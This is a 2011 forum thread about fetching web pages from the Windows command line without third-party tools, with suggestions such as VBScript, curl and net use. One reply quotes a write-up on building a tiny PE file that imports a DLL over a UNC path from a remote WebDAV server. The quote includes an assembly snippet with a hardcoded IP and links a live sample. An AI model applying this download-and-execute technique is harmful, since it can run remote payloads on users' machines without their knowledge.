Jump to content











Photo
* * - - - 1 votes

Improvised wget using only Windows default tools?

wget alternative simple

  • Please log in to reply
13 replies to this topic

#1 Brito

Brito

    Platinum Member

  • .script developer
  • 10616 posts
  • Location:boot.wim
  • Interests:I'm just a quiet simple person with a very quiet simple life living one day at a time..
  •  
    European Union

Posted 09 December 2011 - 06:02 PM

Hello,

One can get HTTP pages using wget and many other third-party tools on Windows, however, how can one retrieve these HTML pages from the command line using nothing but the default Windows tools?

I am asking for ways that work on Windows 7 and if possible, on previous OS versions (telnet is not available any longer, was removed long since Vista by default).

Any thoughts?

Much obliged! :)

#2 Wonko the Sane

Wonko the Sane

    The Finder

  • Advanced user
  • 16066 posts
  • Location:The Outside of the Asylum (gate is closed)
  •  
    Italy

Posted 09 December 2011 - 06:14 PM

Anything useful here?
Apart the non-solutions involving wget, I mean?
http://superuser.com...ws-command-line

The.vbs doesn't seem a bad idea. :dubbio:

More on the same path:
http://www.visualbas...vbs-m31211.aspx
http://www.rgagnon.c...s/wsh-0026.html
http://blog.netnerds...-a-binary-file/
http://stackoverflow...http-get-in-vbs
http://www.paulsadow...wsh/xmlhttp.htm

I guess Italian is not a problem for you ;):
http://digilander.li...atchbrowser.htm


:cheers:
Wonko
  • Brito likes this

#3 Brito

Brito

    Platinum Member

  • .script developer
  • 10616 posts
  • Location:boot.wim
  • Interests:I'm just a quiet simple person with a very quiet simple life living one day at a time..
  •  
    European Union

Posted 09 December 2011 - 07:29 PM

Thank you. Italian is not difficult to read, I'm starting classes in January to learn how to speak the language.

As for the vbs script, my taste would really fall onto an old fashioned tool that I could call directly from command line with no extra effort.

For example, I was reading more about winrm as it seems cut for this job but unfortunately it did not came to my avail: http://ss64.com/nt/winrm.html

Real pity as it comes by default on win7. More details: http://redmondmag.co...nrm--winrs.aspx

#4 sbaeder

sbaeder

    Gold Member

  • .script developer
  • 1338 posts
  • Location:usa - massachusettes
  •  
    United States

Posted 10 December 2011 - 05:51 PM

Are you looking for simple html pages? Or do you need more complex options (like redirects, passwords, download and save executable files, or ???)

#5 sfinktah

sfinktah

    Frequent Member

  • Advanced user
  • 217 posts
  • Location:Der Äther
  • Interests:/(C(++|#)|P(HP|XE)|(OS|Linu)X|8051)/
  •  
    Australia

Posted 11 December 2011 - 08:54 PM

Since your usage of wget implies you will have internet access, why not use a tool that does exist (like ftp - I believe that exists even in PE) - to download a copy of wget.

Otherwise, you're probably stuck with vbs or some other scripting language that you can use to harness the iexplorer dll's or something

#6 Brito

Brito

    Platinum Member

  • .script developer
  • 10616 posts
  • Location:boot.wim
  • Interests:I'm just a quiet simple person with a very quiet simple life living one day at a time..
  •  
    European Union

Posted 12 December 2011 - 12:48 AM

Hello,

Internet is not available necessarly, network connectivity is possible but on the case that I have in mind, the idea is to interact with a server running on localhost.

Even with Internet, most times only port 80 is available.

I will explain better.

Right now I'm working on a project called remedium. The UI is web based and the interaction of commands from the outside can be made from the command line using a browser or wget if we want to automate things from script.

For example, one app inside remedium can mount a registry hive using rawreg and then we can use web requests to add keys, read values, etc. One of the shortcomings of winbuilder was getting output from external apps or requests, and using web requests this is solved in a very elegant manner.

So, it would be nice to have a tool similar to wget on windows but I couldn't really find such tool, reason why I asked the community.

Thanks for all the answers.

:cheers:

#7 pscEx

pscEx

    Platinum Member

  • Team Reboot
  • 12707 posts
  • Location:Korschenbroich, Germany
  • Interests:What somebody else cannot do.
  •  
    European Union

Posted 12 December 2011 - 09:38 AM

Try
curl http://multipe.winbuilder.net/index.htm > x.html






It is also NOT a windows standard tool, but only ONE .exe!
curl handles ALL (?) protocols.

Download of curl

Curl.exe only

Peter :cheers:

EDIT: Just tested as ok under Win8 preview.

#8 sfinktah

sfinktah

    Frequent Member

  • Advanced user
  • 217 posts
  • Location:Der Äther
  • Interests:/(C(++|#)|P(HP|XE)|(OS|Linu)X|8051)/
  •  
    Australia

Posted 12 December 2011 - 12:42 PM

So you just want this....


C:UsersAdministrator>wget.exe http://my.ipspace.com/
--2011-12-12 23:39:07-- http://my.ipspace.com/
Resolving my.ipspace.com (my.ipspace.com)... 173.201.20.9
Connecting to my.ipspace.com (my.ipspace.com)|173.201.20.9|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16 [text/html]
Saving to: `index.html'

100%[==========================================================================================>] 16 --.-K/s in 0s

2011-12-12 23:39:07 (175 KB/s) - `index.html' saved [16/16]


C:UsersAdministrator>ver

Microsoft Windows [Version 6.1.7601]

C:UsersAdministrator>




But you want to make it out of stuff that already comes with windows? Or you want to know if there already is something like wget.... (there isn't).

You either have to get a copy of wget for windows, or (if you were doing some kind of automatic install that needed to get files) then you could use a short vbscript like this:

http://applicationbi...cript&Itemid=10


BTW, I believe telnet is still in Windows 7, it's just not installed by default anymore. Check under Add/Remove Features, TCP/IP or something...

#9 paraglider

paraglider

    Gold Member

  • .script developer
  • 1743 posts
  • Location:NC,USA
  •  
    United States

Posted 12 December 2011 - 01:11 PM

That's correct about telnet. Telnet client and telnet server are optional features installable from the 'Windows Features' dialog:

http://technet.micro...275(WS.10).aspx

#10 paraglider

paraglider

    Gold Member

  • .script developer
  • 1743 posts
  • Location:NC,USA
  •  
    United States

Posted 12 December 2011 - 01:20 PM

How is remedium going? When will preview versions be available?

#11 Brito

Brito

    Platinum Member

  • .script developer
  • 10616 posts
  • Location:boot.wim
  • Interests:I'm just a quiet simple person with a very quiet simple life living one day at a time..
  •  
    European Union

Posted 12 December 2011 - 01:25 PM

Thank you about the suggestions for external tools and optional features, unfortunately I am really looking for something that is direct, simple, not external and not optional. (tough requirements..)

I've looked closely for a solution to this and didn't found one, therefore asked the forum. :cheers:

#12 Icecube

Icecube

    Gold Member

  • Team Reboot
  • 1063 posts
  •  
    Belgium

Posted 12 December 2011 - 01:54 PM

The following might be interesting:


Smallest PE file that downloads a file from the Internet

The goal of the Tiny PE challenge was to write the smallest PE file that downloads a file from the Internet and executes it. The standard technique for this is to call URLDownloadToFileA and then WinExec to execute the file. There are many examples of shellcode that uses this API, but it requires us to load URLMON.DLL and call multiple functions, which would increase the size of our PE file significantly.
A less known feature of Windows XP is the WebDAV Mini-Redirector. It translates UNC paths used by all Windows applications to URLs and tries to access them over the WebDAV protocol. This means that we can pass a UNC path to WinExec and the redirector will attempt to download the specified file over WebDAV on port 80.
Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \\66.93.68.6\z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.
This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.
;
; The DLL name should be at most 16 bytes, including the null terminator
;

dllname:
db "\\66.93.68.6\z", 0
times 16-($-dllname) db 0

The size of the PE file with a UNC import is still only 133 bytes.
WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://66.93.68.6/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.

http://www.phreedom....ar/code/tinype/
  • Brito likes this

#13 Brito

Brito

    Platinum Member

  • .script developer
  • 10616 posts
  • Location:boot.wim
  • Interests:I'm just a quiet simple person with a very quiet simple life living one day at a time..
  •  
    European Union

Posted 12 December 2011 - 03:47 PM

Thank you.

Very nice find. Using your tip as starting point, I see that NET USE can be employed for this task.

I can type:
net use z: http://localhost:10101/logtracker
And this code triggers the web service as intended. It doesn't get me the result as a web page on my side but at least I have now a way to call web pages and trigger reactions and this is available from every version of Windows since XP. :)

It only bothers me that the same command is called twice by net send.

:cheers:

#14 sfinktah

sfinktah

    Frequent Member

  • Advanced user
  • 217 posts
  • Location:Der Äther
  • Interests:/(C(++|#)|P(HP|XE)|(OS|Linu)X|8051)/
  •  
    Australia

Posted 10 August 2012 - 07:29 AM

so basically...

type 1.2.3.4:portsomething > result

? Tricky.




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users